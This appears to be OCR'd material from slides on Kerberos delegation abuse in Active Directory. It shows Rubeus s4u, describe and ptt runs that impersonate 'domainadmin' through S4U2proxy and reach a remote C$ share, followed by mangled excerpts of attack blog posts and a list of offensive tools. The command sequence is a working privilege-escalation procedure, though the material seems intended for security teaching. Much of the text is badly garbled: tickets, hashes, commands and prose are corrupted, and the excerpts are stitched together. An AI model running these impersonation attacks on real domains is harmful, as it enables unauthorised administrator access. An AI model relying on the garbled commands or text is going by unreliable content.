PS C:\> .\Rube: 54y /nowrap /dc:192.168.56.101 local /user: I3 sersssusncmuecue;wsAwssw /%8s dolFRmtsu(gﬁulxsalmgiwwlEVJC(BFJnggROMl!EquDAgEFoQAbDERPVUFJIASNYBNBTK

T0/ASCA/ iNInrTi JL4maCEqUMVVUPTU/ CeSc IPGHIC pEgs 14z tZrSrzkasceyDIC ACVC TROGNWObYLW

aPD+rBn/DdYGUVO9b/ jqeOkLVt gerxH71ar6G EYipSi 17 i J1E176aIzYOT3L L QRex2Qi TrroRazl:

PB1LpVu2BgRE rky YUHNK3n3+5+ INAL THBX Ine f1afPSWksqCal g mxnh[jwuos)s‘ hIInbAOyu Jafs2+abhesk BUISCOXFNKNGQ/Lb) D1L8

Luczagl 356J020MgC/ g 7 JyHALS /RSAFP; 14, JoFB4ETuL /L Jdxwe jmmspb

KKrnul a ic2BCy! PMOCT2La082TC FpbK 2 JBWMFAECHAAC
y 4210aC1wdCO=

]
] Using rca_hmac hash: 7867698DOACEBB2A6CA16F1D3AG0369F
] Building AS-REQ (w/ preauth) for: ‘domain.local\constrained-with-pts’
] Using domain controller: 192.168.56.101:88

] TGT request successfull

] basesa(ticket.kirbi):

doIFsjcC CBEOgERLMI ITiSHTENBTK cc 10405 KtCLL
10PyrGK681kq6Ct bt I9F697a01 2)MreNRUQY1BHYqWSIN3 3 JPOPZLXLgHMUGXI TVHUIQ3+CZgLad5SURTOrX9/ VK i Vi P05,
o 2 e . , # i

€

y

36k134CV]g: i 1 RK4Z1InI3g+FGRv/. 8TPk: 1U53kiyN703!

Z38d2DF rIQAT/ZKYGAXYXE1Z g i i 11t T 7garauzv: " 1¥PSCXjulk
pa: LDSVOF 2Ly +U2KE] TiAgPBIeiRi1 neeaL J3hNhF+S a

U 1 y 1wdCs gPHIAYMIAGH] j Sl

[*] Action: sau

Loaded a TGS for DOMAIN.LOCAL\domainadmin
Impersonating user ‘domainadmin’ to target SPN ‘cifs/constrained’
Building S&U2proxy request for service: 'cifs/constrained’

Using domain controller: 192.168.56.101

sending S4U2proxy request to domain controller 192.168.56.101:88
S4U2proxy success!

base6a(ticket.kirbi) for SPN ‘cifs/constrained":

dotF/jcC caoohgguLAT gt a1 o cc TEVASCBLjFg3sL kP TEX:gCTkAYOL
BLVLe1299L7XVEL TTEIbyaXACSSd: SKOGIIIbS VEQUIHV 0P TpaaL hiaT/Fag)1 20
xqmmxym.fxnsnus:asqmaw-svvnzjc/sseqso;qrmmm. V13qzFC7+2314: HALOBb7HGe1 JL7HEKIAL W+
4/KZbAQrV ideap 7ppt 2750c! 5 MCS1Expel1283m737nnp8bOqI TKbAVHS: 1Ri TdobgHjulcHinieC3Ue ke syucGop2i J02XCEl

3 ic 5 ~WRIRUgqupQ]m?anMlyVHvMGBHXerEUlﬁl-lLz§W1H~dqu00vtzBGyQ?pFlEY-ptprlsNFIfn od: 5 3
bxg7(lkMSNhS‘EDGMLERNJQleH/uDEFyGYaFeEJNhi Rt /abs081c EEGFLI
a6 JBWHFAECAAC 29uC 3Ry
PS C:\> .\Rubeus.exe describe /ticket:dolF/iCC CBQIhggULMI gt ITASHTONBTK jcc 00IEVASCBLIFR35L kP st/ G/Nhzy gCIKAYOLTn2!
zZoowvymSelmhymuxxslaﬂwluzagtvte1399[7xvtlAujbXthGNDArS(NXBn(?: 3 1AnGS+ITFIbv+aX1AcS5ds] UATDSIAVEQE JHNQVYN ) +p) ] i TulhQtCIPaoL 3KTXF
hxUoEYCC: ItELNAWTBTTN7 Jc/S55eq503q V13qzFC7+231q g j i HnL0Bb7HGe1 j
uG1q/r1/gIrRF p o 127sDcl HcS1ExpeL L2837 STnpEbOGTTKbAVHSTTK 1R4 TdobgHjuTc+HinieC3l:
V+/QHKCEChWLb2Cn1uCo JHWGLChF L Lht: y] 1c nQzKTknf JoHRLS yYH4@COINIZWPEULF IWLZ39WeC 06yQ2p
107k gubIg7Ci ERRIOLelL, IH7CIXREIEHOHOT iT G 8OFDRIXFQEAXY: 1/4b60B13C YHEMIHC
g 26 JBWMFAECHAAC JAYMIAGHYxNZEZNTRaphEYDZ w3 TWNDI Y2lmexsLy29

[*] Action: Describe Ticket

ServiceName cifs/constrained
ServiceRealn
Userfiane
Userealn
StartTime
EndTime
RenewTill
Flags

54 AM
ae_capontcaliz, praaithaat, ‘caieshls, Hiciisdina

eyType rca |
Base6d (key) f vuxzcymzmwxumwg




> (Rubeus example) S4U2proxy abuse - Double KCD (3/4)

> S4U2proxy #2

PS > .\Rube s4u /nowrap 1. de 1 1 92.168.56.101 /domain:domain.local /user:’constrained$’ /rc: SBIBQBD‘JA(EBB?—ASCI]GF]DJAB@ZEQF /tgs. OIF/j((BfQEANIEBaEDAgEHWHEzc(BQthgULNlliBﬁADﬂgEFonbD(RPWFJHSMIONBVKMMBygAw!BAqEVMBN
BLjFe3sL £CIKAYOL gtVLe1799L 7xVEL VEQAJHIQ
tc /fagli 5kp 37PupdsVROTTH2 MhXUGOEYC tOEQUNAWTBTTn7 S /S5eqsQjq
2 1upxepl HnLogb JL7HgkL g1 27SDCLUBKP
7 1R1pp: (TdobgHjuJc+NnieC3UekessyuC U PQDVVpH /qx110qFv4/qHKCtChWLb2cniuCojHNWG1ChfLq: I RUgUVIpQimi3xNmediyy
foiod 0w upsestedt cbXpofsc Ut ki g ERRIILEIL/uDBF IHTCIHRE YcPzbynger
1/4b60B13C1 EGF LRHMt ZmX 3 L4 3Bk hAAC. jAyM3/ 3 TwM5 TWNDT a
-
v2.0.2
[*] Action: sau
[1] Using rca_hmac hash: 780763809ACERR2AGCA16F 103408369
1 Duxldv\! AS-REQ (w/ prrau(h) ocal\constraineds”
(*] Using domain controll ) 16056 101.55
] Ter request successful
[*] basesa(ticket.kirbl):
doTFCjCC BBchggQTHIEDGADAGEF0QAbDERPTUFY < T0HOSC THRAHCGYKFL
1hvShZLMsOrT jkkNF prpid3; yTCaxN TXbB/ 1KKoeq 1 ay
XFaDSXBSLLI y 1 1Ga6KGSF/ j2ecovs; 8. H21b034LspY FOxVZvpLe31VL i d hF x2dCosqZpTIY 27 /M 17/0a1%1625
H 1211v283Le33C/5/ cyhe ELGFEPr66KPIOJUNNZOTISZ JODVFV/QL - g TewpLVCZC) q
21TF30L 1ZUoAF 1 LbBQWH1 31 ip. 18PY: P2KBDLRLPGIN3L 3 8xqCBWZCBWOC!
EM] gPHIAYH] s TAFOAMC 55b2inbA-=
[*] Action: sau
(] Loaded a TGS for DOMAIN.LOCAL\domainadmin
[*] Impersonating user 'domainadwin’ to target SPN ‘cifs/svel.domain.local’
[*] 8uilding SaU2proxy request for servke‘ *cifs/sve1.domain.local
[*] Using domain controller: 192.168.56.10:
[+] Sending SaUzprony request 1o domsin controller 192.168.56.101:88
[+] SaU2proxy success
[*] base6a(ticket.kirbi) for SPN 'cifs/sve1.domain.local":
doTexjC BHLNggVINI: g a1 e VidluLs ¢ FEASCEQZpFFohapCyesz]Lmal. JazeRIC Vezvhe:
y' +rS7mIShOL. i 3 jzZhK: P XV4+EDESX/ 1.
9053 e Lnpi DulcB/WBaPC QUPENS / Jewi 1ad1L60CKYi rkouC. 3 ahirL g
kEuizN)/VquA-oﬂ p/i7¥b13yLL i 5 DATSafL RKRO7HCHL P anFUi6h K
eTghSCKO/ tFECOTyHs 500 P LozXiL JFYLASCsajxqIU/dSIPTL1b3VRQ4OXSICQDTEUGEMK
j joc 1AP+04nCZ NocH < 5 SE gy, 42 YXSHaL eOPbey JASVF110ybkzRZQPHI7qQkI JXCHG
1gVCbGKp1ZZg3L 3 hAAC IAyMIAGH]
b describe /ticke < CBM1hggVINI IFYaRDAGEF: T SHT MC L 13cC pFFehapCyenzlL J224R1C: Vhodcdeo
STHEIjvi y i S7m9ShoL i i i " 3 4KQEPSF15H0U ] y/0Lxv+EDg
It g 10/kz1hpBL 2u1cB/WBaPC JeuRx7@vSac d1L60CKYirkoBuC 7anel
g8r1egIurLEIxb16b2w ) 7¥b13yLL Jhi RKNOTHCHL df s FRPYN:
iU T86T/DIAALLFECOLyH 71F 33X’ 1rapr+I: 5} LwLDZX1L jFyLdsCsal
SqBUHCIE2VS 1E£3POE » a anCiAP+64ncz o a0 33/Lhg gy 42¢YXSNaL 0
ONGBXhMPCT 1gVChoKpTZZg3L g 5 haAC ja0m i1 y o

[*] Action: Describe Ticket

ServiceNiane cifs/sve1.domain. local

ServiceRealn DOMATN. LOCAL

Usert domainadain

Userkealn DOMAIN. LOCAL

StartTime i 4260200 10:23:18 A

EndTime 4/26/2022 8:2

RenewTill $3frezs 10 23:18 A

Flags name_canonicalize, pre_authent, renewable, forwardable
eyT : aes128_cts_hmac_shal

Base64(key) SHBU)SYakInCHSC3Vp/ Ewen

[!] AES256 in use but no /serviceuser' passed, unable to generate crackable hash.




> (Rubeus example) S4U2proxy abuse - Double KCD (4/4)

> ptt + access

Administrator: C:AWINDOV

PS C:\> 1s \\sve@l.domain.local\c$

PS C:\> .\Rubeus.exe ptt /ticket:doIGXjCCBlqgAwIBBaEDAGEWOOIFbTCCBW1hggVIMIIFYaADAGEFOQ4bDERPTUFITiSMTONBTKIKMCKgAWIBAQEDMBKDBGNPZNMDEXN2MDEUZGOtYWLULmXVY2F S04 IFIjCCBR6gAWIBEQEDAGEHOOIFEASCBQzpffohapCy
eBz1lLmaI2k5efVtH8KnjJIZFR1CZNWNVLOV/eBAnlrtcYrZYhelcd6DadX1BVjYWXMDi6ART3+7sN8bDbdvyRx9byEge+jSIxcTfRpACwoljLObkyfEidKbndbmIfkIIHEIjvinZTEZpGLDF/U9YFviyYWFNS/musiPAg/+rS7m9ShOLZIUXhbdxqHfWV/kdUbXDbZVI6d
iuzZsab8bnsiK/XmvmLEZzDi985K6cZdsqKTQIfPPNinFoqEvbv/ZZDBxh2P1tVNEDSXTX1VjzZhK7wrup5a26NeVtUXEbCAKQEPSF1SMOujDWVKZI9A53/ hwo@gWDEIriB45Ku+kOROLXOUWNFVrtpIghDGN8bVzy/OLxv+EDg5xX/ I7v+UkDpIaTe@+IHEXQW/kD5SnoPbZ
n11zBOWIJSNSHXDUdof8IDdfbYh4pERNEEapQhfMS0QUXalrLUnzGgKkDIoS/epOSPip7RcDK4SzpUTHOBDSMgkK76QPXglY92Kbywu410/kz1hpBLSIwHVpU4pfOkycW7WoNJulcB/WBaPCI9eShKpHBTaI4AS/HO/ qUPENS/ jewRx70v5aCEQS7H3iad1L60CkYirko
@WC1XvepInaou8NacjbKe9zVWHOKhn36QZ74NrLa68XxHGZZAPP]3eM8XXDM2HVW39AVa55Q3ch1k4549ZRpVeby YNAX94ZrqKxSc1gmP8fky SAWRS@HQHTpiIFQqWGe jedmioQxS4c6WWPXFDHZXWIg8rleglurLEIXxb1Gb2wjkjFoQPow7e/gmsONstskiljoyLSs+@bF
22Q2051/vGHUrmIZUZPSECKEW1zM3/YQE@AmMO4T1rOF COUN3ASP/i7Yb13yLLaDaDIRbiOdgTWD49KOV89zkShmkveSMRWOIKOe3 jhUoPWOOEOL1RIXNZGMZ/XkHIAISafLhS1xeotOxWuGyLRKhO7MCMLAfsfRPYnBxjOEt025pkPOVszKcdaA7d jAWDW+YgnFUi6itl
vOmvL8meS2iY6p8fK4S2X4pXmODXnXyq1K jkkARADAKEVHG7 jVmD2AsvmiLKjuvKusmdNtZ93EWhX4ZMo9WQECQLi8TghSCKO/ i55xwb864xBirHEFZDCQ6+T86T/DIAALtFECOIYH+71F1PuGd1Q/uD+nX20e6vE6EtWSq2T6dP/Fn7v8qZRsuUnWBUXGAKGGASES7HKA]
JXNp1rrfte7nykRyMHScH1UXCEUPO2TKKOK9MTug3ncQG3rQclrapr+I1P4PfR50560rqGlygp0zZZWIZODOt LWLDZX1Lv201rEXSQ1ZeIjFYLdsCsajxqIU/dSIPIiib3VBQ4oxSrcQD7EugBMKzY9ek@ZkKI5pmZasQuYiHfHa/sqBwkCIgzV57+BdiF9aYyVplxAVE
1EfjPOEjzjANmMH4/6DtXVFyxHAY@sHkBCpjQciD7CGUOHEMr8RNGSTW/ v32VmrgnCiAP+84mcZITGQyqVaoQkLa+SNedMpS/ INwyoOW1vghNmhN+HeShCCOMvkYd+HwaRNZhkRdnpONGDVIpdjyREW6a] IMXxs450XR29rFaY6CSzNvgXsUMFhI3/LNgfb8/hrPvPFf8Egy
k6Dro1Mftxs5syOxkRDC42cYXSNaLeOPbeyJAsVF110ybkzRZQPWHI7qqk9jxchGHLTMSHY6dv4/denZG1hPy fOCSWING8XhMPCIJRKIXB60B3DCB2aADAZEACOHRBIHOFYHLMIHIOIHFMIHCMIG/ 0BswGaADAGERORIEEE1gVCbGKpIZZgjLA0olafxOhDhsMREONQUIOL
kxPQeFMohgwFgADAgEK0Q8WDRSLZGItYW1uYWRtak6jBwMFAEChAACLERgPMjAYMAGMIYXNZzIzMThaphEYDz IwMj IwNDI3MDMyMz E4WqcRGA8yMDIyMDUWMZ E3MjMXOF qoDhsMREONQULOL kxPQOFMqSQwIGADAZECORSWGRSEY21mcxSRc3YwMSSkb21haki4ubGojYw
w=

[*] Action: Import Ticket
[+] Ticket successfully imported!
PS C:\> 1s \\sve1.domain.local\c$

Directory: \\svel.domain.local\c$

LastWriteTime Length Name
4/26/2022 9 AM inetpub
4/26/2022 9: AM Microsoft
7/16/2016 6: AM PerflLogs
8/2/2021 8: PM Program Files
7/16/2016  6:23 AM Program Files (x86)
4/26/2022 9: AM Users
4/26/2022 16: AM Windows




@elad_shamir

eladshamir.com

Shenanigans Labs

Wagging the Dog: Abusing Resource-
Based Constrained Delegation to Attack
Active Directory
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Back in March 2018, | embarked on an arguably pointless crusade to prove that the
TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved
without it. | believed that security wise, once constrained delegation was enabled (msDS-
AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or
“any authentication protocol”.

| started the journey with Benjamin Delpy’s (@gentilkiwi) help modifying Kekeo to support a certain
attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success,
but the final TGS turned out to be unusable. Ever since then, | kept coming back to it, trying to solve the
problem with different approaches but did not have much success. Until | finally accepted defeat, and
ironically then the solution came up, along with several other interesting abuse cases and new attack
techniques.

TL;DR

This post is lengthy, and | am conscious that many of you do not have the time or attention span to read
it, so | will try to convey the important points first:

1. Resource-based constrained delegation does not require a forwardable TGS when invoking

Wagging the dog
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S4U2Pwnage

[Edit 9/29/18] For a better weaponization of constrained delegation abuse,
check out the “s4u” section of the From Kekeo to Rubeus post.

Several weeks ago my workmate Lee Christensen (who helped develop this post
and material) and I spent some time diving into Active Directory’s S4U2Self and
S4U2Proxy protocol extensions. Then, just recently, Benjamin Delpy and Ben

Campbell had an interesting public conversation about the same topic on Twitter.
This culmi d with Benjamin releasing a modification to Kekeo that allows for

easy abuse of S4U misconfigurations. As I was writing this, Ben also published an
excellent post on this very topic, which everyone should read before continuing.
No, seriously, go read Ben’s post first.

YOUGUYS, SERIOUSLY

o e
IM'SERIOUSLY, YOU
S4U2pwnage
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“Relaying” Kerberos - Having fun with unconstrained
delegation

© 27 minute read

There have been some interesting new developments recently to abuse Kerberos in Active Directory, ani
after my dive into Kerberos across trusts a few months ago, this post is about a relatively unknown (from
attackers but feature: ed Kerberos ion. During the writing of
this blog, this became quite a bit more relevant with the discovery of some interesting RPC calls that can
get Domain Controllers to authenticate to you, which even allow for compromise across forest boundarie
Then there was the discovery of PrivExchange which can make Exchange authenticate in a similar way.
Because tooling for unconstrained delegation abuse is quite scarce, | wrote a new toolkit, krbrelayx,
which can abuse unconstrained delegation and get Ticket Granting Tickets (TGTs) from users connecting
to your host. In this blog we will dive deeper into unconstrained delegation abuse and into some more
advanced attacks that are possible with the krbrelayx toolkit.

Relaying Kerberos???

Before we start off, let's clear up a possible confusion: no, you cannot actually relay Kerberos
authentication in the way you can relay NTLM authentication. The reason the tool I'm releasing is called
krbrelayx is because it works in a way similar to impackets ntimrelayx (and shares quite some parts of th
code). Kerberos tickets are partially encrypted with a key based on the password of the service a user is
authenticating to, so sending this on to a different service is pointless as they won't be able to decrypt the
ticket (and thus we can't authenticate). Update February 2022: Turns out there is more to this than |
thought, and you can now relay Kerberos with krbrelayx. Check out the follow-up blog on this here.

So what does this tool actually do? When Windows authenticates to service- or computer accounts that
have unconstrained delegation enabled, some interesting stuff happens (which I'll explain later on) and
those accounts end up with a usable TGT. If we (as an attacker) are the ones in control of this account,
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Unconstrained delegation abuse
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Abusing Users Configured with Unconstrained Delegation Abusmg Kerberos Con_stramed Delegation Kerbgqu [ bethen Disctory
without Protocol Transition

Aninteresting ituation came up on a recent assessment which triggered me into do a bit of research in the area as 'd seen nothing publi 2
I'd been really interested in the research done on the area of Kerberos Delegation. For this post, I'll be discussing Unconstrained Delegati - T In this post
in other places, notably here by Sean Metcalf and here by Dirk-an Mollema, amongst others. Ifyou really want to understand what s goir

In this blog post | will go through a study case in abusing Kerberos constrained delegation without protocol

work and understand it before continuing, although Il try to give a recap here.
transition (Kerberos only authentication).

Unconstrained Delegation 101
S4U2proxy Exchange

o a - A
K S e

In a nutshell, unconstrained delegation is when a user or computer has been granted the ability to impersonate sers in an Active Directo|
those contained within the Protected Users group or marked Sensitive and cannot be delegated.

What happens in short (read Sean's post if you want a detailed explaination, that's where this section is plagiarised from), after a user ha

access a service that's been configured for nconsrained delegation:
S T T R T T e Sends the user's service ticket for Service, i ot e y
's own TGT, = a n
2. The DC opens the TGT & validates PAC checksum - If the DC can open the ticket & the checksum check out, the TGT is valid. The dat| along with Sewf“ﬁ%“'” ; == ) this t within Active Directory, based o
create the service ticket, The DC places a copy of the user's TGT into the service ticket requesting a ticket for Service:
3. The service ticket is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP). Kert orotocol that allows users to at O PO, B R S authe
Returns TGS_REP including a service ticket
The user connects to the server hostin the service on the appropriate port & presents the service ticket (AP-REQ). The service oper as the user for Service2 How it works
password hash.
The diagram below (also taken from Sean’s post) shows the full Kerbero: used whenever a user wants 1o ac ome services on the network. Thanks to Kerberc
e diagram below (also taken from S s post) shows the full process: r Exchange impersonating the user time and the server won't ne 10k P v user sword. Th entralized authent
Domain Controller . ‘ = o 2
= 2d communication impersonating the user . o 520 require.
« Aclient
B Bit Ata ) ’
« A service

« A Key Distribution Center (KDC) which is a Domain Controlier (DC) in Active Directory env
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Long Term key (RC4, DES or AES128/256)
Password hash (NT hash = RC4 LT key)
Privilege Attribute Certificate
Authentication Service, offered by KDC
Ticket Granting Service, offered by KDC
Key Distribution Center, usually the DC
Domain Controller

Service Principal Name

Pre Authentication *

Ticket Granting Ticket

Service Ticket

Kerberos Unconstrained Delegation

Kerberos Constrained Delegation

Protocol Transition

Resource-Based Constrained Delegation
Service-For-User to [User/Self]

Discretionary Access Control List (list of ACEs)

Access Control Entry



Impacket & script used to enumerate Kerberos delegations across a domain.
Impacket & script to request TGTs

Impacket & script to request Service Tickets, with or without S4U

Impacket &. script to decode and decrypt information stored in ccache ticket
Impacket & script to convert ccache/kirbi tickets

Impacket & script to substitute service class/name/realm in a ccache ticket

C# Kerberos manipulation toolset (ticket requests, renewal, forgery, management, extraction, harvesting, ..

Active Directory relationships mapper and excavator
Theoretical and practical guides on offensive techniques. Mostly focused on AD at the moment

Docker images and Python wrapper. Multi-containers management. Pre-configured, customized,
community-driven images

)
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